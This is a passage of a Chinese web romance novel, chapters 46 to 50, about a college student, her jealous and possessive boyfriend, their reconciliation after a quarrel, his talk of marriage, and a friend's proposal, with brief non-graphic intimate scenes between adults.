他们的衣服都留在客厅里,宗昂是洗完澡后抱她来的这里。 他说公寓楼层很高,是单向透视玻璃,纵使有人会飞檐走壁地爬上来,脸都黏在玻璃上都窥不见屋内一丝一毫。 但温纾莱仍羞耻。 她的视野开阔宽广,无形中加剧她的压力,让她有种她会看见外物就会被外物所看的错觉。以及高空带来的眩晕,都令她面红耳赤。 宗昂从桌下起身,舔掉嘴唇上的晶莹:“好多水啊宝贝,你是不是也很喜欢这样?” 温纾莱逃避般闭着眼。 羞耻心和生理反应在做斗争。 “好吧。”宗昂不执着她的回馈,“反正我已经知道了。” …… 一场舒爽的性/爱是安抚争吵后产生的波动与焦虑的良药。 温纾莱回到床上后又提了个要求,叫宗昂别再同韩子彦过不去,也别再给他使绊子。 归根究底,纷争是宗昂先挑起的头,他醋性大发,小心眼泛滥,加害韩子彦自己也没落个好。 损人不利己。 宗昂答应了。 他打电话给卡洛斯,停止向韩子彦的项目施加障碍。 卡洛斯很是费解:“你是被什么东西附身了吗,怎么学会手下留情了?” 宗昂的理由再简单不过:“温纾莱不喜欢我那样做事。” 卡洛斯隔着手机在大洋彼岸直呼上帝:“爱情果真会使人失去自我,以前的你什么时候管过别人喜不喜欢。” 莉娅就甚为强势,身为她儿子,又受她亲身教导长大的宗昂有过之而无不及。 莉娅在商场里浸淫数年,深知没有永远的敌人只有永远的利益,做事会留有一线余地。 但宗昂不会,他会把潜在风险摁死在摇篮里。 是以莉娅说他太冒进,还需历练。 那阵雨来得快去得也快,温纾莱在主卧睡得正沉,宗昂立在客厅的落地窗前,俯瞰着暴雨冲刷后的北京。 眼前是霓虹夜景,耳边贴着手机,他说:“别人可以不管,她不行。” “天呐,你个超绝恋爱脑。”卡洛斯那个戏精一口译制腔:“我真替我的姐姐,你的妈妈感到痛心疾首,你这个见色忘亲的家伙!” “……” 宗昂一键挂断。 过会儿,卡洛斯的越洋邀请发来:「圣诞节带你的小女友来纽约玩啊,参加我十八岁的生日会!」 宗昂漫不经心地打字:「三十岁生日快乐。」 卡洛斯:「首先,距离我生日还有两个多月,你的祝福太早了跟没诚意。」 「其次,说了是十八岁!」 宗昂已读不回- 至此,韩子彦掀起的这场风波,就在宗昂的服软和温纾莱的迁就下不了了之。 宗昂没再提让温纾莱删除韩子彦好友的事情,温纾莱也揭过田若心那一茬。 郑茹那件事,宗昂的回述带有他的个人主观色彩,他家里又出面处理过,那么韩子彦的调查也绝非全面。 宗昂似乎是看出她对郑茹的身份存疑,登陆了他学校的论坛,找到他实名发布的那个帖子,又挨个给他在国外的朋友、同学打电话帮他证明他的清白。 其中甚至包括他的专业教授——在校官网及百科上都能搜到个人资料的业内大拿。 最后一通电话打回他意大利的家里,让人传真了一份体检资料过来。 体检时间写明是在去年十二月份,某一栏的内容翻译成中文是:有无性生活? 答:无。 “这家医院的每份体检报告都会建档,能在内部网查到,郑茹那件事发生在去年一月份,十二月体检的时候我还不认识你,也预料不到以后,没道理向医生隐瞒我的情况。” 他这么大的阵仗整得温纾莱特社死,特无地自容。 经此一遭,能肯定的是,郑茹这个人是真的,她的病也是真的。 但是,都与宗昂无关了。 两人又回到之前的和睦。 至少宗昂是这么觉得的,表面上也是这样显示的。 一场秋雨一场寒,暑热浇灭,寒凉渐胜。树枝上的绿色越来越少,地面上的落叶越来越多。 脚踩上去,是咔嚓咔嚓的脆响。 十月底,温纾莱他们戏文专业和表、导演专业合拍校庆宣传片。 温纾莱的专业能力毋庸置疑,自当是在老师推举之首,她们一整个宿舍的成绩都蛮好,但是孔佳茉何皎皎对这事兴趣不大,于是她们班就温纾莱和孙星彤在宣传片人员名单上。 还有隔壁班的两个同学。 戏文、导演这两个专业各出四名学生,表演专业出五十人。 五十四个人分成两个组进行拍摄,温纾莱那一组抽签抽到的是拍外景。 取北京城的景,选取有代表性的景点,宣传片主题思路是以北京城的变迁来映衬电影学院的发展。 温纾莱这份额外作业一接,就又到宗昂表现的时候了。 温纾莱在剧组时的那一套,他原封不动搬过来,只是刷脸刷的不再那么频繁,顶多一周现身个一次。 新一周,温纾莱他们组的拍摄地更换,宗昂送她到巷口后回到车里,在副驾的座椅缝隙里看到了温纾莱的一部备用机。 又重新下车给她送过去,边拨电话给她。 两人约好还在巷口见。 宗昂先到,在墙根站着等。 “嗨。”一道女声插入:“好久不见了,宗昂。” 宗昂循声侧脸。 一个女生在他身边。 他不认识。 第47章 第 47 章 “言而无信的坏女人。”…… 宗昂不知道她是谁, 但她能叫出他的名字,还用词“好久不见”,那就代表他们之前见过。 但他没印象了。 宗昂再能装, 也只是装装表象, 他的本质是深入骨髓的傲慢。 这就体现在——譬如此刻, 他不会浪费他宝贵的时间在记忆中搜索关于这个女生的信息,而是直接问:“你是?” 连个“不好意思”的前缀都没用, 既然他记不得, 那这个女生就无关紧要。 莫念琪面色僵硬瞬息,她也是天之骄女,在学校里众星捧月, 追求者无数, 第一次碰壁就是在宗昂那里。 辗转托人要到他的微信, 好友申请了四五次都石沉大海。 余泽帆的那场生日会, 她特意换到他身边, 一般来讲自己周围的环境发生变化, 正常人的下意识反应都会是观察一圈,宗昂却眼睛偏都没偏一下。 那时莫念琪就觉得宗昂这个人很稳。 不是她吹,要换做别人,她这样一个长相的女生坐过去, 就算不看她, 也会在细枝末节的小动作上暴露出他们的得意或是拘谨。 可宗昂都没有。 任你怎么来来去去都勾不起他一丝丝兴趣。 过没几天网上就闹出他和温纾莱、余泽帆的三角恋事件, 莫念琪无意插足当第三者, 放低身段的廉价行为她不干。 只是会在某些场合看到温纾莱后, 会不由自主地审视她。 温纾莱确实漂亮,性子也柔,是老师眼中那种最讨喜的三好学生类型。 但莫念琪觉得, 温纾莱较自己,还差很远。 宗昂居然会喜欢这样的女生? 不服归不服,两人都在谈了,她也没办法。 偶然在校门口撞到过几次宗昂送温纾莱回校,她就会再次冒出“宗昂究竟喜欢温纾莱什么”这个问题。 酸的多了,莫念琪就习惯了。 这回她被分到和温纾莱一个小组拍摄视频,宗昂每天都会打着温纾莱的名头给他们准时送来实在的“慰问”,热饮、甜品,有时还会有正经的餐饭。 无人不知温纾莱有个把她捧在心间上宠爱、帅气又多金的男朋友。 但那些甜品奶茶之类的,莫念琪一个都没吃。 她也不懂她在堵着一口什么气。 今天她起晚了,到集合地点的巷口一下车就见到前方一道挺拔的身影。 只两三眼,她就断认那是宗昂。 莫念琪跟在他后面,在他停步后上前镇定地打个招呼。 然后换来一句“你是”?! 她掩下那抹尴尬,从容道:“我是莫念琪,我们之前见过,在余泽帆的生日会上,还一起玩过游戏。” 宗昂淡淡颔首:“你好。” 莫念琪如鲠在喉,第二句话还没酝酿好,她便见宗昂落在手机上的视线抬起,随即听到一阵凌乱的脚步声。 宗昂紧蹙着眉大步朝前:“你外套呢?”他脱掉夹克,里面是一件黑T。 温纾莱一路疾跑,喘出的气化成白雾散在空气里,推开宗昂要披过来的衣服:“外套在屋里呢,出来忘穿了,这么一会儿不冷的。” 宗昂不容置喙地抓起她手腕把她胳膊塞进他外套衣袖里,拉好拉链。 “我真不冷……算了。”温纾莱拗不过他,伸出手:“手机给我你就走吧,别冻感冒了。” 两人的身高体型摆在那儿,宗昂的外套挂在温纾莱肩上大好几码,温纾莱的摊平的掌心只在袖子下露出短短几节手指。 宗昂捏了捏:“快结束叫我,我来接你。” “不用了,这里离地铁站很近,我坐地铁回去,你别跑了。” “我不,我就要来接。”宗昂举高手臂,“你不让我来接手机别想要了。” “随你随你。”温纾莱松口:“快给我,别闹了。” 旁若无人有来有往的一番对话,一字不落地敲击着莫念琪的耳膜,宗昂应付她时的疏淡荡然无存,和温纾莱讲话时的他霸道蛮横又鲜活。 不得不说,这样的宗昂更拿人、更能挑起人的征服欲。 但再听下去无异于自取其辱。 莫念琪与他们擦肩而过。 温纾莱一拐出院子远远就望见宗昂在同一个身形高挑的女生说话,离近后女生还背对着她,宗昂向她迎过来那么一挡,她也没再细看。 现下女生自己转过身,温纾莱终是看清她。 “念琪?”温纾莱微诧。 莫念琪“嗯”了一声,继续往前走。 “诶念琪,你等等。”温纾莱提步要追,但手还被宗昂牵着,她只得叫停莫念琪:“马主任来视察了,点明你不在我们说你去卫生间了,一会儿进去你不要说漏嘴。” 马主任是学校党/委宣传部的老师,负责组织这次拍摄任务。 之前有几个学生利用拍摄之便去乱搞,在酒店被扫黄组当作不良人群逮进局子里,马主任去保释他们的时候老脸红到要蜕皮。 自此以后就不定时下到两个组别视察工作,严抓有无浑水摸鱼的学生。 尤其是历经一个多月的拍摄,人都很疲惫,现在正式拍摄又早已结束,他们这一组今天是来补拍几个镜头,多少处在松懈边缘,马主任更要狠抓。 莫念琪一顿:“好,谢了。” 莫念琪往拍摄暂借的院子那儿走,温纾莱也急,她不能出来太久。 她驱赶着宗昂:“你快走吧,我也回去了。” 宗昂拉着她不放,朝莫念琪的背影抬抬下巴:“她是你同学?” “对啊。”温纾莱狐疑:“你不记得了吗?” 宗昂反问:“我为什么要记得?” 温纾莱提醒他:“之前余泽帆生日聚会她就坐你旁边。” 宗昂不高兴地对不在场的第三人进行人身攻击:“我不喜欢你提那个low货。” “我没有——”温纾莱说到一半就闭嘴,吃醋的宗昂什么都讲不通,这样无伤大雅的小醋她乐意顺他的毛,“好了我不提,你就剩一件短袖了,快回家。” 宗昂滞留在原地:“你不问问我刚才跟你同学聊什么了吗?” 手机铃声响,温纾莱一翻腕,屏幕来电备注是彤彤。孙星彤叫她了。她催宗昂:“晚上回公寓再说,我真要走了。” 宗昂不满,又不能强留她,默念三遍“要懂事,否则温纾莱会生气,生气就会不理他”,低颈在她软唇上亲了下:“晚上我来接你。” “好,拜拜,开车注意安全。” 温纾莱又小跑回去,待她的身影隐没在院子里,宗昂才走。 …… 有马主任坐镇,温纾莱他们组的一众成员都打起十二万分的精神,不到天黑就拍完今天的计划素材。 下午出了起小小的意外,温纾莱在用手机查资料的时候误触到网页弹出的黄色小广告,怎么退都退不出去,锁屏之后就再也摁不亮,死机了。 今儿散场散得早,孙星彤就陪她把手机送到专卖店检修一下。 检修人员翻着看两眼,又连接上电脑,一堆代码刷刷蹦出。他说:“手机里有要紧资料文件什么的吗?没有的话我现场刷机刷完就能拿走,不刷机的话就要返厂维修,大概要等一两天。” “不刷,不能刷。”温纾莱的主手机里有很多视频素材及一些重要内容记录还未来得及上传至云盘,“返场吧,我可以等。” “成,那您留个联系方式。”店员递给她一张单子,“电话卡可以拿走。” 温纾莱握笔龙飞凤舞地写下一串数字号码,末尾标注姓温,“返场能保证里面的东西都不会丢吗?” 店员:“我们没法把话说太满,但也差不多。” 扣出电话卡塞进备用机,出了专卖店,温纾莱担忧地叹口气:“以前也误点过,都没事,就这次死机了。” “可能这次的广告特别黄?”孙星彤挽着她,促狭地耸耸肩拱她:“还是说以前你都没看过,这次你点进去看了?” 温纾莱:“以前我都没看过现在又怎么会看?” 孙星彤:“今时不同往日啊,你现在这不是有必要学学这方面的知识嘛。” 温纾莱和余泽帆恋爱时从不夜不归宿,甭管去哪儿,晚上一准儿在门禁前回来,虽说那事儿也不只在晚上才能干,但国人骨子里的含蓄还是更喜欢留到晚上摸黑做。 和宗昂一起后,温纾莱回宿舍住的次数那是屈指可数。 话不必明说,大家心照不宣。 “什么啊……”温纾莱装傻充愣:“听不懂你在说什么。” “听不懂你脸红什么。”孙星彤逗她:“诶呀性/爱又不是什么丢人的事,多正常啊,你要有需求下次别看小广告了,姐给你资源,欧美日韩任你挑选。” 温纾莱直呼她大名:“孙星彤!” “急了急了。”孙星彤乐不可支,勾着她肩膀,“都什么年代了你还这么纯,活该宗昂被你吃得死死的。” 温纾莱没爱理她。 时间还早,两人去商场地下一层的超市逛了一圈,正巧宗昂公寓的冰箱快空了,温纾莱补点货。 超市采购完,两人就分道扬镳。温纾莱坐地铁回荟郡壹号,到楼下时包里手机嗡嗡震颤,不用看就能确定是宗昂打来的。 荟郡壹号是一梯一户的大平层,电梯上到顶楼一开门,入户门就被人从里面推开,一只骨节分明的手握在金色的门把上。 宗昂一半身子在门外另一半在门内,一侧耳朵贴着手机。温纾莱的手机还在震个没完。 见到她人,宗昂悬起的心落地,他接过温纾莱拎着的购物袋:“不是说了我去接你么。” 温纾莱在玄关处换拖鞋:“外面好冷,又堵车,不如我自己坐地铁回来。” “可你明明答应我了。”宗昂把购物袋放到矮柜上,掐着温纾莱的腰提起她也坐到矮柜上,啃她脖子:“言而无信的坏女人。” 温纾莱痒得缩肩:“下次,下次一定。” 宗昂舔舔她泛凉的皮肤,闷声道:“到晚上了,你该问我了吧?” 温纾莱懵:“问什么?” “问我和你那个女同学聊了什么。” 第48章 第 48 章 她怎么样都好 一天过去, 温纾莱有限的脑容量里塞满各种各样的事情,早晨目睹的那一件小插曲早已被她抛诸脑后。 宗昂煞有其事地等待着,似乎被盘问是一种很美妙的经历。 他这个样子, 相比于他和莫念琪聊了什么, 温纾莱更好奇他为什么如此期待她来问他。 “你怎么对这件事这么执着?” “你不想知道我和她说了什么吗?”宗昂十分纳罕, 他着重强调莫念琪的性别:“我、和一个女生。” 温纾莱能猜到个大概:“说什么都是你们的自由,你想告诉我我会听, 你不想我也不会逼问。” “所以, 你还是没有喜欢我对吗?”宗昂眸色沉沉,嗓音轻语气慢地道出一个于他而言很是残酷的事实:“你对我一点占有欲都没有。” “宗昂,喜不喜欢不是单单只看一个方面的。”温纾莱灌输给他更为旷达的“喜欢”的定义:“信任和放权也是, 我不能因为你是我的男朋友就不许你和其他异性有接触, 至于怎么接触, 接触到哪种地步, 这个分寸要你自己把握。” “怎么接触都随我?”宗昂盯住温纾莱的眼睛不放, 近乎逼视她, 要从这扇窗户里望进她灵魂深处:“我说什么你都信,不怕我骗你吗?” “你有心要骗怎么样都能蒙混过关,我不能一天二十四小时都守着你,你见到了哪些人做了些什么只有你自己最清楚。”温纾莱举例论证:“就拿今天, 莫念琪找你聊的内容我没听见, 自然是你怎么说我就怎么信。” 宗昂挑出她话里的漏洞:“那你这根本就不是真的信我, 你这只是别无选择。” 温纾莱张了张嘴。 宗昂双手撑在她身体两侧, 矮柜拉近他们的身高差, 他能够平视温纾莱:“那我问你,你有没有一点喜欢我?” 谁都不知道,温纾莱也谁都没讲过, 她其实是个颜控。 她后天扭成随和的性格,将欲望阈值降到最低。 她给绝大多数人留下的印象就像是一杯无色无味的白开水,所以很多人便想当然的认为她什么都行,不挑不拣。 但她会有自己的审美观点。 宗昂是好看的,东方的适当留白与西方的深邃立体构成他这一张无可挑剔的脸蛋。 电影学院最不缺帅哥美女,算上在剧组里,温纾莱见过那么多形形色色的人,宗昂都位列她心中颜值排行榜top1。 他靠她这么近,他身上冷冽的薄荷香严密包裹着她,直白地问话。 如果宗昂不以她在乎的人或事作为筹码逼她就范,他那些恰到好处的小霸道,温纾莱是吃的。 受他的蛊惑,温纾莱点头:“有。” 宗昂不为所动:“可我不信,你要怎么向我证明?” “……” 这要怎么证明? “我把心掏出来给你看?” “你在讲冷笑话吗宝贝。”宗昂轻笑:“这不现实。” 温纾莱哑口无言,“你要这么较真的话,我也没有更好的办法。” “所以你看,信任是个很主观的东西,当你无法提供客观证据向我证明,我就不会产生这种主观概念。” 温纾莱糊里糊涂的,“那你希望我怎么做?” “很简单。”宗昂一步步引导着她:“你觉我喜欢你吗?” 这一点毋庸置疑。 温纾莱不大好意思承认,黑白分明的瞳仁左看右看地飘忽不定。 这么明显的游离太过可爱,宗昂情不自禁亲在她唇瓣啄吻一下:“你能肯定我喜欢你,是因为我做的那些事情给你提供了有力的证据。” “那么现在,你反过来对我。”他说:“我就能信你。” 温纾莱瞠目。 “做不来对吗?”宗昂看穿她,意料之中地笑笑,又亲了亲她:“那就算了,没关系。” 他搂着她的腰,把她放回地面,提上购物袋去厨房归置。 温纾莱看着他,双手绞在身前,显出几分无措。 …… …… 晚饭在家解决,宗昂下厨做的大杂烩,法式焗蜗牛、千层意面、炸肉排和冬阴功汤。 他近来闲着没事就会钻研厨艺,先前被他列为自找麻烦的事情现在成了他的一大乐趣。 投喂温纾莱的满足无与伦比。 他脑子灵上手快,只有他不想的没有他做不到的。 虽然温纾莱没有过问宗昂和莫念琪,但宗昂在饭后还是一字不差的复述全过程给温纾莱听。 温纾莱听后也没发表什么言论,她不想和她的男朋友去议论、探究另一个女生对他做出的举动背后究竟藏着何种意义,设身处地的置换一下,她也不希望自己成为他人口中取乐的谈资。 纵然是莫念琪在明知宗昂有女朋友的情况下率先主动抛出交谈的橄榄枝。 宗昂愤懑于她的静默,扑到她把她压在地毯上开始脱她衣服,边在她细嫩的皮肤上烙印边嘟嘟囔囔:“就说你还是不喜欢我。” 温纾莱反驳在宗昂一下接一下的撞击中七零八碎。 …… 自打宗昂在酒屋的落地窗前来过第一次,他就不爱拉窗帘了,常常仗着是单向透视玻璃在屋内肆无忌惮。 温纾莱裹着被子侧躺在床上,望着窗外。身后浴室间或传出宗昂清理卫生的声音。 浴室胡闹过后满室狼藉,宗昂先给她洗干净穿好衣服送到被窝,再折回浴室打扫。 不知过去多久,深沉的墨色夜幕中飘下零散的白色雪花。 今天已经是十二月二十一号,还有最后十天。 又是一年即将到头。 温纾莱掰着手指算了算。 面馆生意红火,马燕珍每天痴迷赚钱,没闲空再理会温纾莱和温屿年俩兄妹,尤其经余泽帆那一遭,温广宏和马燕珍细聊过,家里现在条件好转,不再急着将温纾莱嫁出去,对方再好也比不上放在自己眼皮底下守着踏实——她和宗昂谈婚论嫁为时尚早,温纾莱也从未在感情上未雨绸缪过。 但这会儿,在意识到她和宗昂这段她并不看好的恋情,竟然坚持了快一年后,她鬼使神差地幻想了一下她和宗昂的未来。 不知道他们能走多远,不知道他们能不能走到终点。 又想起做前宗昂的指控,温纾莱挠了挠腮颊。 这个世界上的诱惑太多,她管不着别人,能做的就是约束自己,再多,就是约束她的人。 可—— 她听着浴室里吹风机的轻响,那句“你以后不要再理她”仿若携有违禁病毒,令她独自一人的时候都难以启齿。 温纾莱始终坚信真正爱她的人是不需要用她树立的条条框框来规束己身,不爱她的人她就是栓条狗链在她脖子上,照样能趁她不备在地上偷吃。 她的爱情观是相爱但自由。 爱情是个美妙的东西,赋予任何褒义词都不为过,它该是给人带去幸福和快乐,而不是束缚与限制。 宗昂的爱情观与她截然相反。 他喜欢一个人就要将她捆绑,一举一动他都要了如指掌,恨不得他的世界只围绕着她打转,只要有她其他一切都可以摒弃。 很偏执。 他们两个在“喜欢”和“爱情”的认知上产生了巨大且深重的分歧。 但无可否认,好像就是他的这种偏执的爱恋,才供给她强大的安全感,她才能放任宗昂去和其他异性交往。 是宗昂的所作所为让她不会胡思乱想。 那么反之,是不是她没有给宗昂充足的安全感,他才总是疑神疑鬼? 温纾莱扪心反思。 她在感情方面,亲情也好友情也罢,都不是很热情外放的人,在爱情方面更是小白一个。 余泽帆那时也总会问她是不是不喜欢他,不然他怎么一点都感觉不到。 她是不喜欢余泽帆,他感不感觉得到她都不会因此苦恼。 宗昂不一样。 浴室里何时变得安静她无所觉,旁侧床垫下陷,腰和腿被人手脚并用地抱住。 温纾莱偏过头,睫毛擦过宗昂的嘴唇。 宗昂趁便抿了抿她的眼皮:“进步了,做完这么久还没睡呢。” “最早你可是还没做完就要睡了。” 他又讲这些不正经的浑话。 温纾莱翻身背对他。 宗昂在她耳边笑,盲摸到她放置身前的手扣住。 他们在静谧的雪夜里相拥,呼吸声偶有重叠又交错开来。 “宗昂。”温纾莱叫他。 “嗯?” 温纾莱没头没尾地开口:“你给我点时间。” 宗昂没问是什么时间,她要干什么,只说:“好。” 似是她怎么样都好。 她有要求他便答应。 温纾莱揪了揪被角,闭上眼。 没有人天生就是爱情高材生,所以请耐心给我点时间。 我会去学习如何向你证明我的喜欢。 第49章 第 49 章 “结婚,你跟我,我们”…… 第二天是周末, 宣传片拍摄的工作在昨天已经全部完工,接下来就是剪辑成片,再发给马主任审批检查。 温纾莱睡了连日来第一个懒觉, 醒来时身侧无人, 手机放在她触手可及的位置。 窗帘拉开一条缝, 冬日雪后的暖阳束束洒进房间。 宗昂卧室的窗帘遮光性强到能混淆白天与黑夜,温纾莱每天早上都习惯赖会儿床刷刷手机再起来, 经常因为屋内的昏天地暗在按亮手机后刺得眼前模糊。 她没提过这点小事儿, 宗昂自己偶然发现后,将卧室的窗帘换成半透光款,他起得比她早的时候还会把窗帘拉开一些, 让光透进来又不会影响到她睡觉。 小细节最能打动人心, 可她总是后知后觉。 是在某一天她没有再在按亮手机后猛地闭起眼, 才察觉到卧室更换了布置。 她问宗昂为什么, 宗昂说:“以前那个太暗会妨碍你玩手机, 就换了。”他笑的像是一只坐等主人表扬的大狗:“怎么样, 我是不是很贴心,快来亲我一下。” 宗昂为她做了什么事鲜少主动提及,都是等她嗅到蛛丝马迹再摆出一副“不值一提但又挺得意”的神情找她索要奖励。 …… …… 温纾莱拥着被子蜷成虾米状,摸过手机解锁。 十一点四十五了, 她决定凑个整, 刷到十二点就起床。 期间换了两次姿势, 超时五分钟, 十二点零五她磨磨蹭蹭地滑下床。 她是该勤快的时候绝不偷懒, 能休息的时候就成拖延癌晚期。 温纾莱洗漱完出卧室,宗昂一如往常地坐在客厅,茶几上摆着电脑, 他一手滑动鼠标一手下垂把玩着一颗橡胶球。 丢到地板上,又在球弹起时精准捞回掌心。 球的表面坑坑洼洼,是用尖利的牙齿啃戳出的痕迹。 那是巴克最爱的一个玩具。 巴克离开已有半年多,这半年多里宗昂未提过它一次。 放佛巴克不曾存在过。 但公寓里还保留着巴克的一应物品,他也在左臂新添了一个纹身——巴克端坐吐舌的纹样,他一个月前,十一月二十号,巴克生日那天去纹的。 不挂于口,却从未忘记。 “醒了?” 宗昂视线凝于电脑屏幕,长指敲了下键盘,而后起身,手一抬,那颗球准确无误地飞进三四米开外的玩具桶里,他吹声口哨为自己喝彩,看向温纾莱,扣了扣舌。 一脸的“我是不是超帅”嘚瑟样儿。 宗昂在大事上的运筹帷幄和游刃有余有着超出同龄人的成熟,每当温纾莱忽略他的年龄,他就会做出一些啼笑皆非的幼稚举动将他一下扯回意气风发的少年人行列中。 他也才只是个十九岁的大男孩。 温纾莱捧场地笑笑。 宗昂走向她,在她腰后揽了下,带她去餐厅:“我就猜到你会这个点醒,外卖早你二十分钟送过来,正好吃。” 他先到了杯水给温纾莱,再一样一样拆着外卖盒。 地暖给力,一觉睡下来口干舌燥,温纾莱咕咚灌下大半杯水润喉。 “你怎么总起那么早?” “可能,”宗昂拿着一次性筷子敲敲餐盒:“我比较自律。” 说完,他自个儿就笑了。 温纾莱知道他不是在自恋。 宗昂绝非他展现出来的那样玩世不恭,他有很多败家且不务正业的爱好,但他该做的事也没耽误,现在休学期也是一边玩一边学。 温纾莱总能看到他电脑上开着各种眼花缭乱的红绿曲线图,手边摞着各种专业书。 午饭宗昂点的是一家中餐,温纾莱夹起一个水煎包吃,斟酌再三,等吃完,她提议:“我朋友圈有个人也养了只阿拉斯加,前段时间生了几只小狗,已经满月了,你要不要再养一只?” 宗昂抬眸看她一眼,摇头:“不了。” 刨根问底不是温纾莱的爱好,她没再多嘴。 宗昂沉默几息,作出保证:“我这辈子只会有巴克这一只狗。” “我不会为了怀念它去养另一只阿拉斯加或者是其他品种的狗,那对巴克和那只狗都不公平。” 宗昂是个极有原则的人,他宁缺毋滥,什么东西都只要一个,而只要被他认定的人或物她就会给予绝对的忠诚,绝不会寻求替代品。 温纾莱愣愣地嚼着腮,理解他话里更深层的含义后,嗯声说:“好。” “对了,你那手机呢?”宗昂不动声色地问:“我起来给你拿手机,就找到了你的备用机。” 温纾莱正要回话,宗昂的放在茶几上的手机铃声乍响。 他“啧”声撩筷,去客厅接。 孔佳良声嘶力竭的吼声温纾莱在餐厅都听见了:“宗昂你人呢!老子他妈的活都快干完了你还没过来!” “我在陪女朋友吃饭。”宗昂嫌弃地挪远手机,掏掏耳朵:“吃完就去。” “你少放屁!想逃工你就直说,少拿温纾莱当挡箭牌!她缺你陪着的那一顿饭?” “她不缺,我缺。”宗昂打着电话溜达回餐厅,贱嗖嗖地从温纾莱的筷子下夹走她看中的那块鱼肉。 孔佳良牙酸道:“真服你了宗昂,你们一天三顿饭都能在一起吃,大A求婚一辈子就这一次,你赶紧过来别太黏人了,不能独立行走的男人迟早是会被厌弃的!” 宗昂不爱听这话,挂断。 温纾莱看他:“怎么了?” 宗昂报备:“大A要跟他女朋友求婚,叫我们去布置场地。” “他就比你大三岁吧?”温纾莱惊讶:“就想要结婚了吗?” “这跟年龄有什么关系,遇到喜欢的人就结啊。”宗昂又抢走她要夹的一块菠萝:“不是,别的男人的年龄你记那么清楚干嘛?” “……” 他又来了。 无时无刻,随时随地都能吃醋。 温纾莱脸埋进碗里扒饭。 宗昂伸长胳膊,越过餐桌,两指推着她额头逼她抬头,“你想不想结婚?” 温纾莱差点呛到:“什么?” “结婚。”宗昂指指她,又反向指指自己:“你跟我,我们。” “你别满嘴跑火车了。”温纾莱突然大脑宕机,心砰砰跳,语无伦次道:“才多大,都没到法定年龄呢我们还。” 宗昂堵她:“意大利满十八周岁就可以领证了。” “你别闹了,我们都还在上学。”温纾莱避开他的眼睛,夹来一只虾剥着,手上忙着点好显得不那么慌张,“而且你到了法定年龄我没有。” “哦。”宗昂意兴阑珊地戳了戳米饭。 这个话题就此告一段落,说者有心,听者也被搅乱一池春水。 这么一打岔,温纾莱手机那码事无人再议。 吃完饭,宗昂在孔佳良的夺命连环call下慢条斯理地动身,出门前跟温纾莱说傍晚来接她去见证大A的求婚仪式。 这种送祝福的事情温纾莱自是不会推拒。 宗昂走后,她便坐在客厅地毯上捧着她的电脑剪片。 又要线上沟通又要挑拣素材还得剪辑,少了一部手机操作,她那台笔记本的内存又岌岌可危地处在爆满边缘,办事的效率大大降低。 去厨房倒水喝路过书房门口,温纾莱蓦地记起还有宗昂的台式电脑可用。 他那台电脑是顶配,打游戏流畅度一流,用来剪个视频更不在话下。 温纾莱当即将办公地点转到书房。 开机后界面弹出请输入密码的提示。 宗昂的电脑温纾莱就写《巷口》的剧本时用过几次,每次都是宗昂开好电脑,她都不知道还有密码。 宗昂许是在忙,打电话没接,温纾莱输入他的生日试一遍——不对。 她的生日——还是错误。 还剩最后一次机会。 转着椅子想了想,她将二人的生日合并,死马当活马医地摁下回车。 “呤”的一声,成功。 导演专业那边的人开启线上视频,温纾莱接通,一边同他们讨论一边将素材上传至电脑。 视频剪辑基本上是影视传媒专业的必备技能,他们组内又拆分成几个小组,几百个视频素材分发到各个小组,筛选拼接,最后在汇总到一处。 开视频会的时候,就两个镜头的衔接,温纾莱和导演班的一个同学有了歧义,置辩的过程中,温纾莱一个激动,手误触到键盘,隐藏了桌面大半的文件。 她缓缓倒抽一口凉气。 呆滞地望着屏幕,静坐一分钟,忙在群里问这是怎么回事。 跟她吵架的那名男同学话口一转:“是不是隐藏了?你先别急,‘此电脑’还在吗,还在的话你点开。” 温纾莱听从指挥。 在‘此电脑’中勾选右上角‘隐藏的项目’,页面刷刷一闪,桌面恢复原样。 温纾莱提着的那口气这才泄了。 温纾莱向男同学道谢。 “客气。”对方:“咱还是先别吵了,我怕一会儿谁再有个激动再闹出事儿来,两个版本都试一下吧,哪个效果好交哪个。” 这个提议全票通过,视频会议结束,温纾莱一心一意地过滤废片。 她左手拇指按在键盘的向右键位上,一个视频看完紧接着就转至下一个。 人一忙起来时间就飞快流逝,温纾莱在电脑前坐了一下午,她右手绕到左肩后轻按,活动着酸疼的肩背。 北京胡同的空镜播至最后,她留下这条素材,切下一条。 冬季天黑得早,四点多钟室内光亮就渐渐熄灭,温纾莱懒得去门口开灯,就近打开书桌上的台灯,搓搓酸胀的眼睛。 倏尔,由水声和沉闷的撞击声组成的一道音线响彻书房。??? 她又点到了什么? 温纾莱不可思议地睁开眼,朝屏幕看。 蓝光幽微,她巴掌大的小脸惨白一片。 第50章 第 50 章 触目惊心 大A求婚的地点千挑万选之后, 敲定在在鼓楼那儿。 露台正对鼓楼,白、粉、紫三种颜色的玫瑰由浅到深依次排列点缀,映衬着后方红砖灰瓦的地标性历史建筑。 宗昂屈腿坐在一个小马扎上, 揪开窄小的气球口, 套在充气泵上, 气球光速膨胀到一定大小,他扯下, 两指灵活地打结, 将圆滚的气球往后一拍。 一整套动作行云流水,像个没有感情可言的流水线机器人。 脚边的透明包装袋里还剩两个,宗昂一并拿起。 孔佳良忙完他的那一趴, 过来蹲下, 二流子一样在耳朵上别着根烟:“这大喜的日子你丧着张脸给谁看?就你来的最晚还好意思摆脸子?”他拿下烟去勾宗昂的下巴:“来, 给哥笑一个。” 回应他的是“嘭”——气球爆炸的声音。 孔佳良吓得跌坐在地:“操!” 宗昂吹完最后一个气球, 踢开充气泵, 掸调飘落在裤子上的气球碎片, 人站立起来,臭着脸俯视孔佳良,朝他伸手:“活干完了,手机给我。” 一到场地, 孔佳良就趁宗昂不备抢走他的手机, 让他专心干活, 别总惦记着谈情说爱不务正业。 孔佳良双手后撑, 闲适地晃着腿:“扔了。” 宗昂一个迈步向前, 孔佳良一骨碌从地上爬起来。 “给你给你!”孔佳良扯开他运动裤的裤腰,从里面掏出宗昂的手机。 宗昂难以置信地半眯起眼眸,一字一顿道:“你把我的手机和你的内裤贴在一起?” “我操/你别说的那么变态行吗!”孔佳良一手拽低外裤一手夹着宗昂的手机拉高里面那条黑裤:“老子他妈这是秋裤, 秋裤你懂吗?” “不懂,手机给我。” 孔佳良递出手。 宗昂仅用两根手指捏住手机一角,拦下一个抱着一箱酒经过的服务生,“麻烦给我一瓶酒精,我需要消毒,谢谢。” 服务生:“好的您稍等。” 服务生走出好几步远,孔佳良回过味来,暴跳如雷:“他妈的我都说了我这是秋裤,秋裤!秋裤你懂吗!我还没嫌你手机细菌多呢,你消个屁的毒!” “不懂,没穿过。”宗昂暂且把手机丢到吧台桌上。 